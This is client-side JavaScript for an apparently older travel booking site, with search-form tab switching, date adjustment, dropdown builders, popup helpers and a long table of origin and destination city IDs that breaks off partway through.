
function currencyWindow(popurl)
	{
	currWindow = window.open(popurl, 'CurrencyConverter', 'width=460,height=380');
	currWindow.focus;
	}

function changeForm(id)
{ 
	var f; 
	f=document.search;
	//alert(id);
	turn_off_all_boxes();
	 if(id == 3)
	 {
		lastmindealsbox.style.display='block';
		clickstay('id5');

	 }
	 else if(id == 4)
	 {
		 carbox.style.display='block';
		 clickstay('id4');
		 //alert(document.hotsrchbox.dod_dd.selectedIndex);
		 if(hotsrchbox){
			 document.CarSearch.pudate_mo.options.selectedIndex = document.hotsrchbox.doa_mm.options.selectedIndex;
			 document.CarSearch.pudate_dy.options.selectedIndex = document.hotsrchbox.doa_dd.options.selectedIndex;
			 document.CarSearch.dodate_mo.options.selectedIndex = document.hotsrchbox.dod_mm.options.selectedIndex;
			 document.CarSearch.dodate_dy.options.selectedIndex = document.hotsrchbox.dod_dd.options.selectedIndex;
		 }
	 }
	 else if(id == 6)
	 {
		 hotelairbox.style.display='block';
		 clickstay('id3');
	 }
	 else 
	 {
		hotelbox.style.display='block';
		clickstay('id1');
	 }
}

function turn_off_all_boxes(){
	if(hotelbox){
		hotelbox.style.display='none';
	}
	if(lastmindealsbox){
		lastmindealsbox.style.display='none';
	}
	if(carbox){
		carbox.style.display='none';
	}
	if(hotelairbox){
		hotelairbox.style.display='none';
	}
}

function IsLeapYear(yrStr)
{
 var leapYear = false;
 var year = parseInt(yrStr, 10);
 if (year%4 == 0) 
  { 
	leapYear = true;
	if (year%100 == 0)
	 {
	  leapYear = false;
	  if (year%400 == 0)
	   {
	    leapYear = true;
		}
	  }
   }
  return leapYear;
 }


function getDaysInMonth(mthIdx, yrStr) 
{
 var maxDays = 31;
 if (mthIdx == 1)
	{
	 if (IsLeapYear(yrStr))
	   { 
	    maxDays = 29;
	   }
	 else
		{
		  maxDays = 28;
		}
     }
 if (mthIdx == 3 || mthIdx == 5 || mthIdx == 8 || mthIdx == 10)
	{
	 maxDays = 30;
	 }
 return maxDays;
}

function adjustDate(mthIdx, Dt, initDate)
{
var value = 0;

var today = new Date();
var theYear = parseInt(today.getYear(),10);

if (mthIdx < today.getMonth()) {
	theYear = (parseInt(today.getYear(),10) + 1);
}

if (theYear < 100) {
	theYear = "19" + theYear;
	}
else {
	if ((theYear - 100) < 10) {
		theYear = "0" + (theYear - 100);
		}
	else 
		{
		theYear = (theYear - 100) + "";
		}
	theYear = "20" + theYear
}

var numDays = getDaysInMonth(mthIdx, theYear);

 
// checks whether to initialize date or not.
if (initDate == 1) 
	{
	  if ((numDays - Dt)==7)
		{

		//checks if month is December
		if (mthIdx==11) {
			document.hotsrchbox.doa_mm.options.selectedIndex = mthIdx;
			document.hotsrchbox.dod_mm.options.selectedIndex = 0;
			document.hotsrchbox.dod_yy.options.selectedIndex =+1;

			document.CarSearch.pudate_mo.options.selectedIndex = mthIdx;
			document.CarSearch.dodate_mo.options.selectedIndex = 0;
		} else {
			document.hotsrchbox.doa_mm.options.selectedIndex = mthIdx;
			document.hotsrchbox.dod_mm.options.selectedIndex = mthIdx+1;

			document.CarSearch.pudate_mo.options.selectedIndex = mthIdx;
			document.CarSearch.dodate_mo.options.selectedIndex = mthIdx+1;
		}

		//hotel search box
	    document.hotsrchbox.doa_dd.options.selectedIndex = numDays - 1;
	    document.hotsrchbox.dod_dd.options.selectedIndex =  7 - (numDays - Dt);

		//car search box
		document.CarSearch.pudate_dy.options.selectedIndex = numDays - 1;
		document.CarSearch.dodate_dy.options.selectedIndex = 7 - (numDays - Dt);

		}
		else if ((numDays-Dt)<7)
				{

				if (mthIdx==11) {
					document.hotsrchbox.doa_mm.options.selectedIndex = 0;
					document.hotsrchbox.dod_mm.options.selectedIndex = 
					document.hotsrchbox.doa_mm.options.selectedIndex;
					document.hotsrchbox.doa_yy.options.selectedIndex =+1;
					document.hotsrchbox.dod_yy.options.selectedIndex =+1;

					document.CarSearch.pudate_mo.options.selectedIndex = 0;
					document.CarSearch.dodate_mo.options.selectedIndex = 
					document.CarSearch.pudate_mo.options.selectedIndex;
				} else {
					document.hotsrchbox.doa_mm.options.selectedIndex = mthIdx + 1;
					document.hotsrchbox.dod_mm.options.selectedIndex = document.hotsrchbox.doa_mm.options.selectedIndex;	

					document.CarSearch.pudate_mo.options.selectedIndex = mthIdx + 1;
					document.CarSearch.dodate_mo.options.selectedIndex = document.CarSearch.pudate_mo.options.selectedIndex;
				}					

				//hotel search box
				document.hotsrchbox.doa_dd.options.selectedIndex = 6 - (numDays - Dt);
				document.hotsrchbox.dod_dd.options.selectedIndex = 7 - (numDays - Dt);	

				//car search box
				document.CarSearch.pudate_dy.options.selectedIndex = 6 - (numDays - Dt);
				document.CarSearch.dodate_dy.options.selectedIndex = 7 - (numDays - Dt);

				}
		else
			{ 
			//hotel search box
			document.hotsrchbox.doa_mm.options.selectedIndex = mthIdx;
			document.hotsrchbox.doa_dd.options.selectedIndex = (Dt - 1) + 7;
			document.hotsrchbox.dod_mm.options.selectedIndex = document.hotsrchbox.doa_mm.options.selectedIndex;
			document.hotsrchbox.dod_dd.options.selectedIndex = (Dt - 1) + 8;

			//car search box
			document.CarSearch.pudate_mo.options.selectedIndex = mthIdx;
			document.CarSearch.pudate_dy.options.selectedIndex = (Dt - 1) + 7;
			document.CarSearch.dodate_mo.options.selectedIndex = document.CarSearch.pudate_mo.options.selectedIndex;
			document.CarSearch.dodate_dy.options.selectedIndex = (Dt - 1) + 8;
			}
		}
else
	{		
	if (mthIdx == 1)
		{
		if (Dt.options.selectedIndex + 1 < numDays) 
			{
			return 0;
			}
		else
			{
			Dt.options.selectedIndex=numDays - 1;
			if (numDays == 29)
				{
				return 99;
				}
			else
				{
				return 1;
				}
			}
		}
	 if (Dt.options.selectedIndex + 1 < numDays)
		{
		value = 0;
		}
	 else
		{
		if (Dt.options.selectedIndex + 1 > numDays)
			{
			Dt.options.selectedIndex--;
			value = 3;
			}
		else
			{
			value = 2;
			}
		}
	 return value;
	}
}


function amadChange(inM, inD, outM, outD)
{
 var res = adjustDate(inM.options.selectedIndex, inD, 0);
 if (res != 0 )
	{
		outD.options.selectedIndex = 0;
		if (outM.options.selectedIndex == 11) {
			outM.options.selectedIndex = 0;
			}
		else {
			outM.options.selectedIndex = inM.options.selectedIndex + 1;
			}
		}
 else
	{
	outM.options.selectedIndex = inM.options.selectedIndex;
	outD.options.selectedIndex = inD.options.selectedIndex + 1;
	}
return;
}

function initDate()
{
	var today = new Date();
	var currMth = today.getMonth();
	var currDate = today.getDate();

	var mth = document.hotsrchbox.doa_dd.options.selectedIndex = currMth;
	var Dt = document.hotsrchbox.doa_dd.options.selectedIndex = currDate;
	adjustDate(mth, Dt, 1);
}
	
function waitBox()
{
  var popup = window.open('http://www.res99.com/wait.html','wait','height=125 ,width=330,left=330,top=330');
}

function showCal(url)
	{
	calWindow = window.open(url, 'Calendar', 'scrollbars=YES, width=550,height=225');
	calWindow.focus;
	}

function disclaimerWin(tnc)
	{
	tncWindow = window.open(tnc, 'TermsAndConditions', 'width=325,height=500');
	tncWindow.focus;
	}

function airportCodes(url)
	{
	arptWindow = window.open(url, 'AirportCodes', 'width=450,height=350');
	arptWindow.focus;
	}

var anyopen = "id1";
function clickstay(tdid) {
	document.all[anyopen].className = "tabOff";
	document.all[tdid].className = "tabOn";
	anyopen=tdid;
	}

function add_options_to_month_select(){
	document.write('<option value="01" >January');
	document.write('<option value="02" >February');
	document.write('<option value="03" >March');
	document.write('<option value="04" >April');
	document.write('<option value="05" >May');
	document.write('<option value="06" >June');
	document.write('<option value="07" >July');
	document.write('<option value="08" >August');
	document.write('<option value="09" >September');
	document.write('<option value="10" >October');
	document.write('<option value="11" >November');
	document.write('<option value="12" >December');
}

function add_options_to_car_time() {
	document.write('<option value="12A">12:00am</option>');
	document.write('<option value="1A">1:00am</option>');
	document.write('<option value="2A">2:00am</option>');
	document.write('<option value="3A">3:00am</option>');
	document.write('<option value="4A">4:00am</option>');
	document.write('<option value="5A">5:00am</option>');
	document.write('<option value="6A">6:00am</option>');
	document.write('<option value="7A">7:00am</option>');
	document.write('<option value="8A">8:00am</option>');
	document.write('<option value="9A">9:00am</option>');
	document.write('<option value="10A">10:00am</option>');
	document.write('<option value="11A">11:00am</option>');
	document.write('<option value="12P" selected>12:00pm</option>');
	document.write('<option value="1P">1:00pm</option>');
	document.write('<option value="2P">2:00pm</option>');
	document.write('<option value="3P">3:00pm</option>');
	document.write('<option value="4P">4:00pm</option>');
	document.write('<option value="5P">5:00pm</option>');
	document.write('<option value="6P">6:00pm</option>');
	document.write('<option value="7P">7:00pm</option>');
	document.write('<option value="8P">8:00pm</option>');
	document.write('<option value="9P">9:00pm</option>');
	document.write('<option value="10P">10:00pm</option>');
	document.write('<option value="11P">11:00pm</option>');
}

function add_options_to_car_type_select(){
		document.write('<option value="">No Preference');
		document.write('<option value="B-EC" selected>Economy Car');
		document.write('<option value="C-CC" >Compact Car');
		document.write('<option value="D-SC" >Standard Car');
		document.write('<option value="E-IC" >Intermediate Car');
		document.write('<option value="F-FC" >Full Size Car');
		document.write('<option value="G-PC" >Premium Car');
		document.write('<option value="H-LC" >Luxury Car');
		document.write('<option value="I-ASPT" >Sports Car');
		document.write('<option value="J-ACNV" >Convertible');
		document.write('<option value="K-MV" >Mini Van');
		document.write('<option value="L-FV" >Full Size Van');
		document.write('<option value="M-APUP" >Pick-up Truck ');
		document.write('<option value="N-AFWD" >Sport Utility (SUV)');
		document.write('<option value="O-ATRV" >All Terrain');
		document.write('<option value="P-AWGN" >Station Wagon');
		document.write('<option value="Q-ASPC" >Special Car');
}

function add_options_to_ct_time_select(){
		document.write('<option value="12:00am">12:00am</option>');
		document.write(' <option value="1:00am">1:00am</option>');
		document.write(' <option value="2:00am">2:00am</option>');
		document.write(' <option value="3:00am">3:00am</option>');
		document.write(' <option value="4:00am">4:00am</option>');
		document.write(' <option value="5:00am">5:00am</option>');
		document.write(' <option value="6:00am">6:00am</option>');
		document.write(' <option value="7:00am">7:00am</option>');
		document.write(' <option value="8:00am">8:00am</option>');
		document.write(' <option value="9:00am">9:00am</option>');
		document.write(' <option value="10:00am">10:00am</option>');
		document.write(' <option value="11:00am">11:00am</option>');
		document.write(' <option value="12:00pm">12:00pm</option>');
		document.write(' <option value="1:00pm">1:00pm</option>');
		document.write(' <option value="2:00pm">2:00pm</option>');
		document.write(' <option value="3:00pm">3:00pm</option>');
		document.write(' <option value="4:00pm">4:00pm</option>');
		document.write(' <option value="5:00pm">5:00pm</option>');
		document.write(' <option value="6:00pm">6:00pm</option>');
		document.write(' <option value="7:00pm">7:00pm</option>');
		document.write(' <option value="8:00pm">8:00pm</option>');
		document.write(' <option value="9:00pm">9:00pm</option>');
		document.write(' <option value="10:00pm">10:00pm</option>');
		document.write(' <option value="11:00pm">11:00pm</option>');
		document.write(' <option value="Morning">Morning</option>');
		document.write(' <option value="Noon">Noon</option>');
		document.write(' <option value="Evening">Evening</option>');
		document.write(' <option value=" " selected="selected">Anytime</option>');
}

function add_options_to_day_select(){
	var newnumber;
	for(var  ivar = 1;ivar < 32; ivar++){
		if(ivar < 10){
			newnumber = "0" + ivar;
		}else{
			newnumber = "" +  ivar;
		}
		document.write('<option value="' + newnumber + '">' + newnumber);
	}
}



var originations   = new Object();
var destinations   = new Object();
var cities_by_orig = new Object();
var states_by_orig = new Object();
var states         = new Object();
originations["3401"] = 'Akron/Canton';
originations["2381"] = 'Albany';
originations["1781"] = 'Albuquerque/Santa Fe';
originations["4761"] = 'Allentown';
originations["5725"] = 'Amarillo';
originations["2461"] = 'Anchorage';
originations["3403"] = 'Appleton';
originations["481"] = 'Atlanta';
originations["3405"] = 'Augusta';
originations["541"] = 'Austin';
originations["981"] = 'Baltimore/East Maryland';
originations["1961"] = 'Bangor';
originations["881"] = 'Baton Rouge';
originations["3409"] = 'Billings/Bighorn';
originations["3410"] = 'Birmingham, AL';
originations["2741"] = 'Boise';
originations["367"] = 'Boston/Coastal Mass.';
originations["3411"] = 'Bozeman/Big Sky';
originations["2621"] = 'Buffalo/Niagara Falls';
originations["3414"] = 'Burbank';
originations["721"] = 'Burlington/Stowe';
originations["3531"] = 'Calgary';
originations["3418"] = 'Cedar Rapids';
originations["401"] = 'Charleston/Carolina Coast';
originations["1061"] = 'Charlotte';
originations["3420"] = 'Chattanooga';
originations["501"] = 'Chicago';
originations["663"] = 'Cincinnati/South Ohio';
originations["372"] = 'Cleveland';
originations["1783"] = 'Colorado Springs';
originations["3423"] = 'Columbia, SC';
originations["2281"] = 'Columbus, OH';
originations["2061"] = 'Corpus Christi';
originations["662"] = 'Dallas/Ft. Worth';
originations["4321"] = 'Dayton';
originations["370"] = 'Denver/Rocky Mountains';
originations["3427"] = 'Des Moines';
originations["1281"] = 'Detroit';
originations["3532"] = 'Edmonton';
originations["1782"] = 'El Paso';
originations["4721"] = 'Eugene';
originations["3432"] = 'Evansville';
originations["5271"] = 'Fargo';
originations["3442"] = 'Fayetteville, AR';
originations["4741"] = 'Flint';
originations["1162"] = 'Fort Lauderdale';
originations["2601"] = 'Fort Myers';
originations["3444"] = 'Fort Wayne';
originations["3445"] = 'Fresno';
originations["3449"] = 'Grand Rapids';
originations["3451"] = 'Green Bay';
originations["365"] = 'Greensboro, NC';
originations["3452"] = 'Greenville, SC';
originations["4301"] = 'Gulfport/Biloxi';
originations["2522"] = 'Halifax';
originations["2961"] = 'Harrisburg/Hershey';
originations["2762"] = 'Hartford';
originations["2764"] = 'Honolulu';
originations["901"] = 'Houston';
originations["3463"] = 'Huntsville';
originations["3464"] = 'Idaho Falls';
originations["1661"] = 'Indianapolis';
originations["2701"] = 'Islip/Long Island';
originations["1801"] = 'Jackson Hole';
originations["1081"] = 'Jackson, MS';
originations["1021"] = 'Jacksonville/Georgia Coast';
originations["3466"] = 'Kalamazoo';
originations["1741"] = 'Kalispell/Glacier Area';
originations["2922"] = 'Kansas City';
originations["3467"] = 'Key West';
originations["2581"] = 'Knoxville/Smoky Mountains';
originations["3471"] = 'Lansing';
originations["466"] = 'Las Vegas';
originations["2501"] = 'Lexington';
originations["5301"] = 'Lincoln';
originations["3482"] = 'Little Rock';
originations["4883"] = 'Long Beach';
originations["363"] = 'Los Angeles';
originations["2441"] = 'Louisville';
originations["3484"] = 'Lubbock';
originations["2527"] = 'Madison';
originations["3487"] = 'Manchester, NH';
originations["2763"] = 'Maui';
originations["5421"] = 'McAllen';
originations["361"] = 'Memphis';
originations["1041"] = 'Miami/Key Largo';
originations["2041"] = 'Milwaukee';
originations["1282"] = 'Minneapolis/St. Paul';
originations["1721"] = 'Mobile';
originations["4465"] = 'Moline Quad City';
originations["3492"] = 'Monterey';
originations["3493"] = 'Montgomery';
originations["761"] = 'Montreal';
originations["1305"] = 'Myrtle Beach';
originations["366"] = 'Nashville';
originations["841"] = 'New Orleans';
originations["371"] = 'New York City';
originations["5181"] = 'Newark';
originations["3496"] = 'Norfolk';
originations["3497"] = 'Oakland';
originations["3498"] = 'Oklahoma City';
originations["2941"] = 'Omaha';
originations["1785"] = 'Ontario, CA';
originations["2241"] = 'Orange County, CA';
originations["1166"] = 'Orlando';
originations["3181"] = 'Ottawa';
originations["1821"] = 'Palm Springs';
originations["2841"] = 'Pensacola';
originations["621"] = 'Philadelphia';
originations["464"] = 'Phoenix';
originations["2421"] = 'Pittsburgh';
originations["1167"] = 'Portland, ME';
originations["921"] = 'Portland/Oregon Coast';
originations["2721"] = 'Providence';
originations["2642"] = 'Quebec City';
originations["861"] = 'Raleigh/Durham';
originations["3501"] = 'Rapid City';
originations["1784"] = 'Reno/Tahoe';
originations["463"] = 'Richmond/Williamsburg';
originations["4221"] = 'Roanoke';
originations["3502"] = 'Rochester/Lake Ontario';
originations["3503"] = 'Sacramento';
originations["462"] = 'Salt Lake City';
originations["465"] = 'San Antonio';
originations["661"] = 'San Diego/Del Mar Coast';
originations["362"] = 'San Francisco';
originations["821"] = 'San Jose/Silicon Valley';
originations["421"] = 'San Juan/Eastern Puerto Rico';
originations["3505"] = 'San Luis Obispo/Central Coast';
originations["3506"] = 'Santa Barbara';
originations["3507"] = 'Sarasota';
originations["1170"] = 'Savannah/Hilton Head';
originations["461"] = 'Seattle';
originations["3508"] = 'Shreveport';
originations["5272"] = 'Sioux Falls';
originations["3509"] = 'South Bend';
originations["3511"] = 'Spokane';
originations["3512"] = 'Springfield, MO';
originations["2141"] = 'St. Louis';
originations["4361"] = 'Syracuse';
originations["441"] = 'Tallahassee';
originations["842"] = 'Tampa/Southwest Florida';
originations["3516"] = 'Toledo';
originations["741"] = 'Toronto';
originations["1922"] = 'Tucson';
originations["3519"] = 'Tulsa';
originations["2681"] = 'Vancouver';
originations["364"] = 'Washington, DC';
originations["1172"] = 'West Palm Beach';
originations["4341"] = 'White Plains';
originations["3527"] = 'Wichita';
originations["3529"] = 'Wilmington, NC';
destinations["5446"] = 'Abilene';
destinations["3571"] = 'Acapulco, Mexico';
destinations["3401"] = 'Akron/Canton';
destinations["2381"] = 'Albany';
destinations["1781"] = 'Albuquerque/Santa Fe';
destinations["5101"] = 'Alexandria, LA';
destinations["5888"] = 'Alice Springs';
destinations["4761"] = 'Allentown';
destinations["5925"] = 'Almeria';
destinations["5725"] = 'Amarillo';
destinations["381"] = 'Amsterdam, Holland';
destinations["2461"] = 'Anchorage';
destinations["4002"] = 'Anguilla, West Indies';
destinations["3221"] = 'Antigua, British West Indies';
destinations["3403"] = 'Appleton';
destinations["5261"] = 'Arcata/Eureka';
destinations["641"] = 'Aruba';
destinations["3404"] = 'Asheville';
destinations["1141"] = 'Aspen';
destinations["3596"] = 'Asuncion, Paraguay';
destinations["4023"] = 'Athens, Greece';
destinations["481"] = 'Atlanta';
destinations["1221"] = 'Atlantic City';
destinations["5462"] = 'Atuona';
destinations["5905"] = 'Auckland';
destinations["3405"] = 'Augusta';
destinations["541"] = 'Austin';
destinations["5330"] = 'Avignon';
destinations["3406"] = 'Bakersfield';
destinations["5901"] = 'Bali';
destinations["5889"] = 'Ballina, NSW';
destinations["981"] = 'Baltimore/East Maryland';
destinations["5907"] = 'Bangkok';
destinations["1961"] = 'Bangor';
destinations["3542"] = 'Barbados';
destinations["1143"] = 'Barcelona, Spain';
destinations["3591"] = 'Barranquilla, Colombia';
destinations["881"] = 'Baton Rouge';
destinations["3407"] = 'Beaumont';
destinations["5449"] = 'Beijing';
destinations["3565"] = 'Belize City/Belize';
destinations["4702"] = 'Bellingham';
destinations["3587"] = 'Belo Horizonte, Brazil';
destinations["1642"] = 'Berlin, Germany';
destinations["701"] = 'Bermuda';
destinations["3409"] = 'Billings/Bighorn';
destinations["4981"] = 'Binghamton, NY';
destinations["3410"] = 'Birmingham, AL';
destinations["3557"] = 'Birmingham, England';
destinations["5265"] = 'Bismarck';
destinations["4901"] = 'Bloomington';
destinations["3592"] = 'Bogota, Colombia';
destinations["2741"] = 'Boise';
destinations["5329"] = 'Bologna';
destinations["5463"] = 'Bora Bora';
destinations["367"] = 'Boston/Coastal Mass.';
destinations["3411"] = 'Bozeman/Big Sky';
destinations["1401"] = 'Brattleboro';
destinations["5450"] = 'Brisbane';
destinations["3413"] = 'Brunswick';
destinations["369"] = 'Brussels, Belgium';
destinations["1682"] = 'Budapest, Hungary';
destinations["3584"] = 'Buenos Aires, Argentina';
destinations["2621"] = 'Buffalo/Niagara Falls';
destinations["3414"] = 'Burbank';
destinations["721"] = 'Burlington/Stowe';
destinations["3415"] = 'Butte';
destinations["5926"] = 'Cadiz, Spain';
destinations["5465"] = 'Cairns';
destinations["3531"] = 'Calgary';
destinations["3593"] = 'Cali, Colombia';
destinations["6022"] = 'Campinas';
destinations["2862"] = 'Cancun, Mexico';
destinations["3243"] = 'Caracas, Venezuela';
destinations["5269"] = 'Carlsbad';
destinations["5896"] = 'Cartegena, Columbia';
destinations["3416"] = 'Casper';
destinations["5892"] = 'Cat Island, Bahamas';
destinations["3417"] = 'Cedar City';
destinations["3418"] = 'Cedar Rapids';
destinations["5821"] = 'Champaign/Urbana';
destinations["5521"] = 'Chandigarh';
destinations["2301"] = 'Charleston, WV';
destinations["401"] = 'Charleston/Carolina Coast';
destinations["1061"] = 'Charlotte';
destinations["3419"] = 'Charlottesville';
destinations["3420"] = 'Chattanooga';
destinations["501"] = 'Chicago';
destinations["5268"] = 'Chico';
destinations["5464"] = 'Christchurch';
destinations["663"] = 'Cincinnati/South Ohio';
destinations["372"] = 'Cleveland';
destinations["3421"] = 'Cody/Yellowstone';
destinations["3422"] = 'College Station';
destinations["5322"] = 'Cologne, Germany';
destinations["1783"] = 'Colorado Springs';
destinations["3423"] = 'Columbia, SC';
destinations["3425"] = 'Columbus, MS';
destinations["2281"] = 'Columbus, OH';
destinations["5448"] = 'Copenhagen';
destinations["2061"] = 'Corpus Christi';
destinations["3222"] = 'Costa Rica';
destinations["3123"] = 'Cozumel, Mexico';
destinations["5266"] = 'Crescent City';
destinations["3547"] = 'Curacao, Dutch Antilles';
destinations["3597"] = 'Cuzco, Peru';
destinations["5965"] = 'Da Nang';
destinations["662"] = 'Dallas/Ft. Worth';
destinations["4321"] = 'Dayton';
destinations["3426"] = 'Daytona Beach';
destinations["370"] = 'Denver/Rocky Mountains';
destinations["3427"] = 'Des Moines';
destinations["1281"] = 'Detroit';
destinations["5899"] = 'Dominica, West Indies';
destinations["3428"] = 'Dothan';
destinations["5894"] = 'Dubai';
destinations["1001"] = 'Dublin, Ireland';
destinations["3429"] = 'Duluth';
destinations["3430"] = 'Durango';
destinations["5321"] = 'Dusseldorf, Germany';
destinations["3242"] = 'Edinburgh, Scotland';
destinations["3532"] = 'Edmonton';
destinations["1782"] = 'El Paso';
destinations["5381"] = 'Eleuthera';
destinations["3431"] = 'Elko';
destinations["4922"] = 'Escanaba';
destinations["4721"] = 'Eugene';
destinations["3432"] = 'Evansville';
destinations["3433"] = 'Fairbanks';
destinations["5271"] = 'Fargo';
destinations["3442"] = 'Fayetteville, AR';
destinations["5467"] = 'Flagstaff';
destinations["4741"] = 'Flint';
destinations["1161"] = 'Florence, Italy';
destinations["1162"] = 'Fort Lauderdale';
destinations["2601"] = 'Fort Myers';
destinations["3444"] = 'Fort Wayne';
destinations["5468"] = 'Fortaleza';
destinations["3558"] = 'Frankfurt, Germany';
destinations["1701"] = 'Fredericksburg';
destinations["3261"] = 'Freeport, Bahamas';
destinations["3445"] = 'Fresno';
destinations["3447"] = 'Gainesville';
destinations["2062"] = 'Galveston';
destinations["4183"] = 'Geneva, Switzerland';
destinations["4541"] = 'Glasgow, Scotland';
destinations["3548"] = 'Grand Cayman, Cayman Islands';
destinations["4882"] = 'Grand Forks';
destinations["3448"] = 'Grand Junction';
destinations["3449"] = 'Grand Rapids';
destinations["3450"] = 'Great Falls';
destinations["3451"] = 'Green Bay';
destinations["365"] = 'Greensboro, NC';
destinations["3452"] = 'Greenville, SC';
destinations["5469"] = 'Greenwood, MS';
destinations["3549"] = 'Grenada, West Indies';
destinations["3061"] = 'Guadalajara, Mexico';
destinations["3742"] = 'Guadeloupe, FWI';
destinations["3568"] = 'Guatemala City, Guatemala';
destinations["3594"] = 'Guayaquil, Ecuador';
destinations["4301"] = 'Gulfport/Biloxi';
destinations["5001"] = 'Gunnison';
destinations["2522"] = 'Halifax';
destinations["5326"] = 'Hamburg';
destinations["2961"] = 'Harrisburg/Hershey';
destinations["2762"] = 'Hartford';
destinations["3461"] = 'Helena';
destinations["5324"] = 'Helsinki';
destinations["5943"] = 'Heraklion, Crete';
destinations["4501"] = 'Hilo, HI';
destinations["4881"] = 'Hilton Head';
destinations["5964"] = 'Ho Chi Minh City';
destinations["5890"] = 'Hobart';
destinations["5881"] = 'Hong Kong';
destinations["2764"] = 'Honolulu';
destinations["901"] = 'Houston';
destinations["5470"] = 'Huahine Island';
destinations["3462"] = 'Huntington/Ashland';
destinations["3463"] = 'Huntsville';
destinations["1421"] = 'Hyannis';
destinations["5924"] = 'Ibiza';
destinations["3464"] = 'Idaho Falls';
destinations["1661"] = 'Indianapolis';
destinations["2701"] = 'Islip/Long Island';
destinations["1643"] = 'Istanbul, Turkey';
destinations["4681"] = 'Ithaca';
destinations["3124"] = 'Ixtapa, Mexico';
destinations["1801"] = 'Jackson Hole';
destinations["1081"] = 'Jackson, MS';
destinations["1021"] = 'Jacksonville/Georgia Coast';
destinations["5947"] = 'Jaipur';
destinations["5902"] = 'Jakarta';
destinations["5581"] = 'Jullundur';
destinations["3465"] = 'Juneau';
destinations["3466"] = 'Kalamazoo';
destinations["1741"] = 'Kalispell/Glacier Area';
destinations["2922"] = 'Kansas City';
destinations["5885"] = 'Kaohsiung';
destinations["5471"] = 'Kathmandu';
destinations["4481"] = 'Kauai';
destinations["5441"] = 'Kelowna';
destinations["3467"] = 'Key West';
destinations["3468"] = 'Kileen';
destinations["3544"] = 'Kingston, Jamaica';
destinations["2581"] = 'Knoxville/Smoky Mountains';
destinations["4041"] = 'Kona';
destinations["5472"] = 'Kuala Lumpur';
destinations["4921"] = 'La Crosse';
destinations["3081"] = 'La Paz, Mexico';
destinations["3470"] = 'Lafayette/New Iberia';
destinations["4941"] = 'Lanai City';
destinations["1101"] = 'Lancaster';
destinations["3471"] = 'Lansing';
destinations["5861"] = 'Laredo';
destinations["5898"] = 'Larnaca, Cyprus';
destinations["466"] = 'Las Vegas';
destinations["5961"] = 'Laughlin/Bullhead, NV';
destinations["3481"] = 'Lawton';
destinations["5141"] = 'Lewiston';
destinations["2501"] = 'Lexington';
destinations["3598"] = 'Lima, Peru';
destinations["5301"] = 'Lincoln';
destinations["4441"] = 'Lisbon, Portugal';
destinations["3482"] = 'Little Rock';
destinations["368"] = 'London, England';
destinations["4883"] = 'Long Beach';
destinations["363"] = 'Los Angeles';
destinations["2901"] = 'Los Cabos, Mexico';
destinations["2441"] = 'Louisville';
destinations["3484"] = 'Lubbock';
destinations["961"] = 'Lyon, France';
destinations["5962"] = 'Macau';
destinations["3486"] = 'Macon';
destinations["2527"] = 'Madison';
destinations["1163"] = 'Madrid, Spain';
destinations["5461"] = 'Malaga';
destinations["3582"] = 'Managua, Nicaragua';
destinations["3561"] = 'Manchester, England';
destinations["3487"] = 'Manchester, NH';
destinations["5661"] = 'Manzanillo';
destinations["5325"] = 'Marseille';
destinations["5382"] = 'Marsh Harbour';
destinations["5903"] = 'Mataram, Indonesia';
destinations["2763"] = 'Maui';
destinations["4521"] = 'Mazatlan';
destinations["5421"] = 'McAllen';
destinations["4961"] = 'Medford';
destinations["5444"] = 'Melbourne';
destinations["3862"] = 'Melbourne/Cape Canaveral';
destinations["361"] = 'Memphis';
destinations["4161"] = 'Mendoza, Argentina';
destinations["5927"] = 'Menorca, Spain';
destinations["3577"] = 'Merida, Mexico';
destinations["3489"] = 'Meridian';
destinations["601"] = 'Mexico City';
destinations["1041"] = 'Miami/Key Largo';
destinations["781"] = 'Milan, Italy';
destinations["2041"] = 'Milwaukee';
destinations["1282"] = 'Minneapolis/St. Paul';
destinations["3490"] = 'Missoula';
destinations["1721"] = 'Mobile';
destinations["5363"] = 'Modesto';
destinations["4465"] = 'Moline Quad City';
destinations["5041"] = 'Molokai';
destinations["3491"] = 'Monroe';
destinations["3201"] = 'Montego Bay, Jamaica';
destinations["3492"] = 'Monterey';
destinations["3127"] = 'Monterrey, Mexico';
destinations["3599"] = 'Montevideo, Uruguay';
destinations["3493"] = 'Montgomery';
destinations["761"] = 'Montreal';
destinations["5002"] = 'Montrose, CO';
destinations["5473"] = 'Moorea';
destinations["3562"] = 'Moscow, Russia';
destinations["801"] = 'Munich, Germany';
destinations["1305"] = 'Myrtle Beach';
destinations["3494"] = 'Nantucket';
destinations["3495"] = 'Naples';
destinations["5323"] = 'Naples, Italy';
destinations["366"] = 'Nashville';
destinations["3301"] = 'Nassau, Bahamas';
destinations["5221"] = 'Netherlands Antilles';
destinations["5466"] = 'New Bern';
destinations["5904"] = 'New Delhi';
destinations["841"] = 'New Orleans';
destinations["371"] = 'New York City';
destinations["5181"] = 'Newark';
destinations["4401"] = 'Newport News';
destinations["1164"] = 'Nice, France';
destinations["3496"] = 'Norfolk';
destinations["5474"] = 'Nukuhiva';
destinations["3497"] = 'Oakland';
destinations["5883"] = 'Oaxaca';
destinations["2181"] = 'Ogunquit';
destinations["3498"] = 'Oklahoma City';
destinations["2941"] = 'Omaha';
destinations["1785"] = 'Ontario, CA';
destinations["2241"] = 'Orange County, CA';
destinations["1166"] = 'Orlando';
destinations["5331"] = 'Oslo';
destinations["3181"] = 'Ottawa';
destinations["5366"] = 'Oxnard';
destinations["1821"] = 'Palm Springs';
destinations["5328"] = 'Palma De Mallorca';
destinations["3499"] = 'Panama City, FL';
destinations["3583"] = 'Panama City, Panama';
destinations["5501"] = 'Papeete';
destinations["482"] = 'Paris, France';
destinations["5475"] = 'Parkersburg, WV';
destinations["5942"] = 'Paros, Greece';
destinations["5361"] = 'Pasco';
destinations["5908"] = 'Pattaya, Thailand';
destinations["5906"] = 'Penang/Northern Malaysia';
destinations["4821"] = 'Pendleton';
destinations["2841"] = 'Pensacola';
destinations["4462"] = 'Peoria';
destinations["5886"] = 'Perth';
destinations["621"] = 'Philadelphia';
destinations["5963"] = 'Phnom Penh';
destinations["464"] = 'Phoenix';
destinations["5061"] = 'Phuket/Southern Thailand';
destinations["2421"] = 'Pittsburgh';
destinations["3500"] = 'Pocatello';
destinations["4822"] = 'Port Angeles';
destinations["5966"] = 'Port Vila';
destinations["1167"] = 'Portland, ME';
destinations["921"] = 'Portland/Oregon Coast';
destinations["3906"] = 'Poughkeepsie, NY';
destinations["1168"] = 'Prague, Czech Republic';
destinations["2721"] = 'Providence';
destinations["2881"] = 'Puerto Plata, Dominican Republic';
destinations["4601"] = 'Puerto Rico-Aguadilla/West';
